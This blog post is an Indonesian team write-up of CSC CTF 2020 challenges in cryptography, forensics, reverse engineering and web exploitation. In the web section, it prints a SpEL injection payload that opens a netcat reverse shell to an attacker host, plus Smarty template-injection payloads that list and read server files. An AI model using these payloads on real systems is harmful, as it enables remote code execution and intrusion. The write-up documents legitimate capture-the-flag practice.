DEV Community

Cover image for CSC CTF 2020 Write Up
yudi
yudi

Posted on • Updated on

CSC CTF 2020 Write Up

Tanamkan di hati iman yang kokoh

Tim Member
ChaO
AnehMan
MBEERRR

Daftar Isi


Cryptography

Here We Go Again

Executive Summary

Another good old menu in our cryptography section
Author: EternalBeats

Technical Report

Diberikan file encrypted.txt. Berikut penampakannya

encrypted.txt

Ada 1 modulus, 1 eksponen, dan 36 ciphertext. Kami menduga bahwa tiap karakter flag di encrypt. Jadi kami melakukan brute force, jika karakter yang di encrypt sama dengan ciphertext index ke-i, maka kita menemukan karakter flag. Berikut adalah full scriptnya

from Crypto.Util.number import *

var = open("encrypted.txt","r").read().strip()
exec(var)   #n,e,cipher[]

flag = ""

for c in cipher:
   for m in range(256):
       res = pow(m,e,n)
       if res == c:
           flag += chr(m)
           break

print("FLAG:",flag)
Enter fullscreen mode Exit fullscreen mode

Hasil

hasil

Flag

Flag: CSCCTF{Rs4_d3crYpt10n_By_3ncRypT10n}

Forensic

Aing, Robot

Executive Summary

Sketch like Sonny https://www.youtube.com/watch?v=Bs60aWyLrnI

Author: Bigby

File: robot.mp4

Technical Report

Diberikam sebuah video dengan background putih dan kami melihat di beberapa frame pada video terdapat garis - garis hitam dengan pola yang menarik. Hal pertama yang kami pikirkan adalah mencoba menggabungkan semua frame pada video tersebut dan menghapus background putih. Berikut scriptnya:

script
script2
Setelah dijalankan kami mendapatkan hasil seperti ini

hasil

Semua file tersebut adalah frame dari video yang sudah diedit backgroundnya menjadi transparan. Kami kemudian menggabungkan semua frame tersebut menggunakan gimp. Berikut penampakannya:

gimp

FLAG

CSCCTF{M4NT4P_53K4R4N9_B3rS1hK4n_F1L3}

Reverse Engineering

Welcome to CSCCTF

Executive Summary

Welcome to CSCCTF! Begin your reverse engineering journey from this problem. Can you find the key?
Author: darmads

Technical Report

Diberikan sebuah file apk. Langsung saja decompile online, dan baca sourcenya. Kode yang terpenting terdapat pada line code berikut ini.

public final boolean check(String kunci) {

       String str = kunci;

       Intrinsics.checkParameterIsNotNull(str, "kunci");

       if (kunci.length() >= 25 &&

           str.charAt(20) - str.charAt(0) == 24 &&

           str.charAt(8) + str.charAt(5) == 126 &&

           str.charAt(14) * str.charAt(5) == 3696 &&

            str.charAt(21) - str.charAt(1) == 33 &&

            str.charAt(10) - str.charAt(0) == 2 &&

            str.charAt(17) - str.charAt(0) == 19 &&

            str.charAt(17) * str.charAt(1) == 3848 &&

            str.charAt(4) + str.charAt(6) == 123 &&

            str.charAt(13) * str.charAt(16) == 4488 &&

            str.charAt(1) * str.charAt(6) == 2600 &&

            str.charAt(13) * str.charAt(23) == 3536 &&

            str.charAt(8) - str.charAt(5) == 14 &&

            str.charAt(15) + str.charAt(5) == 123 &&

            str.charAt(20) - str.charAt(17) == 5 &&

            str.charAt(17) + str.charAt(16) == 140 &&

            str.charAt(16) + str.charAt(14) == 132 &&

            str.charAt(3) * str.charAt(6) == 4250 &&

            str.charAt(18) + str.charAt(14) == 145 &&

            str.charAt(13) * 2 == 136 &&

            str.charAt(17) - str.charAt(10) == 17 &&

            str.charAt(11) + str.charAt(8) == 145 &&

            str.charAt(9) + str.charAt(1) == 135 &&

            str.charAt(11) + str.charAt(24) == 146 &&

            str.charAt(3) - str.charAt(7) == 11 &&

            str.charAt(0) - str.charAt(2) == 2 &&

            str.charAt(11) - str.charAt(13) == 7 &&

            str.charAt(3) + str.charAt(4) == 158 &&

            str.charAt(3) - str.charAt(16) == 19 &&

            str.charAt(4) - str.charAt(14) == 7 &&

            str.charAt(12) * str.charAt(1) == 4056 &&

            str.charAt(20) + str.charAt(8) == 149 &&

            str.charAt(9) - str.charAt(4) == 10 &&

            str.charAt(9) - str.charAt(6) == 33 &&

            str.charAt(9) * str.charAt(13) == 5644 &&

            str.charAt(16) + str.charAt(5) == 122 &&

            str.charAt(16) - str.charAt(10) == 9 &&

            str.charAt(17) + str.charAt(24) == 145 &&

            str.charAt(20) - str.charAt(13) == 11 &&

            str.charAt(18) * str.charAt(11) == 5925 &&

            str.charAt(21) * str.charAt(23) == 4420 &&

            str.charAt(22) * str.charAt(7) == 5698 &&

            str.charAt(15) - str.charAt(19) == 12 &&

            str.charAt(16) - str.charAt(1) == 14 &&

            str.charAt(3) - str.charAt(13) == 17 &&

            str.charAt(12) * str.charAt(8) == 5460 &&

            str.charAt(21) * str.charAt(13) == 5780 &&

            str.charAt(7) * str.charAt(1) == 3848 &&

            str.charAt(22) + str.charAt(6) == 127 &&

            str.charAt(13) + str.charAt(5) == 124 &&

            str.charAt(24) + str.charAt(1) == 123) {

           return true;

       }

       return false;

   }
Enter fullscreen mode Exit fullscreen mode

Sepertinya, apk tersebut meminta sebuah serial key untuk dimasukkan, jika true maka akan menghasilkan flag. Dan pengecekan serial key akan dilakukan pada line code diatas. Untuk men-generate serial key, kami menggunakan z3solver. Berikut kode yang kami buat untuk mendapatkan serial key tersebut.

from z3 import *

vars = [Int(str(i)) for i in range(25)]

s = Solver()

s.add(vars[20] - vars[0] == 24)

s.add(vars[8]+ vars[5] == 126 )

s.add(vars[14] * vars[5] == 3696)

s.add(vars[21] - vars[1] == 33)

s.add(vars[10] - vars[0] == 2)

s.add(vars[17] - vars[0] == 19)

s.add(vars[17] * vars[1] == 3848)

s.add(vars[4]+ vars[6] == 123 )

s.add(vars[13] * vars[16] == 4488)

s.add(vars[1]* vars[6] == 2600 )

s.add(vars[13] * vars[23] == 3536)

s.add(vars[8]- vars[5] == 14 )

s.add(vars[15] + vars[5] == 123)

s.add(vars[20] - vars[17] == 5)

s.add(vars[17] + vars[16] == 140)

s.add(vars[16] + vars[14] == 132)

s.add(vars[3]* vars[6] == 4250 )

s.add(vars[18] + vars[14] == 145)

s.add(vars[13] * 2 == 136)

s.add(vars[17] - vars[10] == 17)

s.add(vars[11] + vars[8] == 145)

s.add(vars[9]+ vars[1] == 135 )

s.add(vars[11] + vars[24] == 146)

s.add(vars[3]- vars[7] == 11 )

s.add(vars[0]- vars[2] == 2 )

s.add(vars[11] - vars[13] == 7)

s.add(vars[3]+ vars[4] == 158 )

s.add(vars[3]- vars[16] == 19 )

s.add(vars[4]- vars[14] == 7 )

s.add(vars[12] * vars[1] == 4056)

s.add(vars[20] + vars[8] == 149)

s.add(vars[9]- vars[4] == 10 )

s.add(vars[9]- vars[6] == 33 )

s.add(vars[9]* vars[13] == 5644 )

s.add(vars[16] + vars[5] == 122)

s.add(vars[16] - vars[10] == 9)

s.add(vars[17] + vars[24] == 145)

s.add(vars[20] - vars[13] == 11)

s.add(vars[18] * vars[11] == 5925)

s.add(vars[21] * vars[23] == 4420)

s.add(vars[22] * vars[7] == 5698)

s.add(vars[15] - vars[19] == 12)

s.add(vars[16] - vars[1] == 14)

s.add(vars[3]- vars[13] == 17 )

s.add(vars[12] * vars[8] == 5460)

s.add(vars[21] * vars[13] == 5780)

s.add(vars[7]* vars[1] == 3848 )

s.add(vars[22] + vars[6] == 127)

s.add(vars[13] + vars[5] == 124)

s.add(vars[24] + vars[1] == 123)

print s.check()

print s.model()

w = {5 : 56,

21 : 85,

3 : 85,

19 : 55,

22 : 77,

23 : 52,

18 : 79,

20 : 79,

16 : 66,

9 : 83,

6 : 50,

4 : 73,

8 : 70,

12 : 78,

14 : 66,

11 : 75,

2 : 53,

7 : 74,

24 : 71,

13 : 68,

17 : 74,

15 : 67,

10 : 57,

1 : 52,

0 : 55}

test = []

for i in w:

 test.append(i)

serial = ''

for i in range(len(w)):

 serial += chr(w[test[i]])

print serial
Enter fullscreen mode Exit fullscreen mode

Jalankan scriptnya.

script

Akan didapatkan serial key seperti itu, langsung saja masukkan ke apknya.

ss

Ternyata flagnya adalah serial key tersebut, hanya saja ditambahkan karakter “-” tiap 5 karakter.

Flag

CSCCTF{745UI-82JFS-9KNDB-CBJO7-OUM4G}

Higher Please

Executive Summary

Objective: Grab the flag!
Author: darmads
https://drive.google.com/file/d/1PpoawEkFW0tIh_UmTlKVcERdQZ2YTc_o/view?usp=sharing

Technical Report

Diberikan sebuah game dengan unity. Namun, karena kategori challenge ini adalah REVERSE, kami memutuskan untuk melakukan decompile terhadap file AssemblyC-Sharp.dll untuk melakukan reversing terhadap game tersebut. Pada hint juga disebutkan untuk menabrakkan diri ke tulisan FLAG untuk mendapatkan flag. Kami menggunakan dnSpy untuk mendecompile file tersebut dan mengcompilenya kembali dengan kode yang baru sehingga karakter kami bisa terbang dan menabrakkan diri terus menerus kepada flag, sayangnya flag tak kunjung muncul. Akhirnya kami putus asa dan salah satu dari team kami memiliki ide konyol untuk melakukan strings pada setiap file dan mencari string CSCCTF{ untuk mendapatkan flagnya.

file

Ternyata gamenya gak perlu di reverse >:(.
Reversenya kox jadi forensic >:(.

Flag

CSCCTF{1_H0pe_I_w4s_b0rn_T4ll3r}

Web Exploitation

Speliberg

Executive Summary

Author: Siahaan

http://128.199.77.174:20203

Technical Report

Diberikan sebuah web & source code nya yang di buat menggunakan bahasa pemrograman java. Berikut isi filenya

source

Dari file yang diberikan kami melihat adanya vuln rce yang terletak pada file MovieController.java di variable expr yang bisa di esacape.

source java

Disini kami mencoba melakukan reverse shell pada input title dengan cara mengescape petik sebagai berikut:

' + T(java.lang.Runtime).getRuntime().exec("nc -e /bin/sh your-ip-here") + ' 
Enter fullscreen mode Exit fullscreen mode

ss

Pada tab home kami ketikkan lagi payload tadi agar tereksekusi

ss

ss

Flag ada di dir /. Tinggal di cat

flag

Flag

CSCCTF{sst1_4lways_haz_freinds}

not-so-smart

Executive Summary

I only wanna marry someone who's smarter than me - xomeone

Author: ArkAngels

Flag ada di /

http://128.199.77.174:20200

Technical Report

Diberikan sebuah web dengan vuln SSTI, awalnya saya sangat terfokus pada payload SSTI pada Twig karena terlalu sering SSTI pake twig.

Ternyata judul soal adalah hint dari challenge ini, akhirnya kami mencoba untuk memakai payload smarty. Berikut payload yang kami gunakan.

{php}echo `ls /`;{/php}
Enter fullscreen mode Exit fullscreen mode

ss

Akhirnya berhasil ls. Selanjutnya tinggal cat flag tersebut dengan payload

{php}echo `cat /f*`;{/php}
Enter fullscreen mode Exit fullscreen mode

ss

FLAG

CSCCTF{you_are_smarter_than_MEH!}

iHateDevelopers

Executive Summary

Author: Siahaan
http://128.199.77.174:20201

Technical Report

Diberikan URL yang berisi permainan PacMan. Berikut penampakannya

ss

Ketika kita akan melihat source, kita disambut dengan alert.

ss

Langsung saja kita mematikan JavaScript di browser, refresh page, view source. Ternyata flag ada langsung di source

ss

FLAG

CSCCTF{for_those_wh0_rely_on_JS_4lone}

Top comments (0)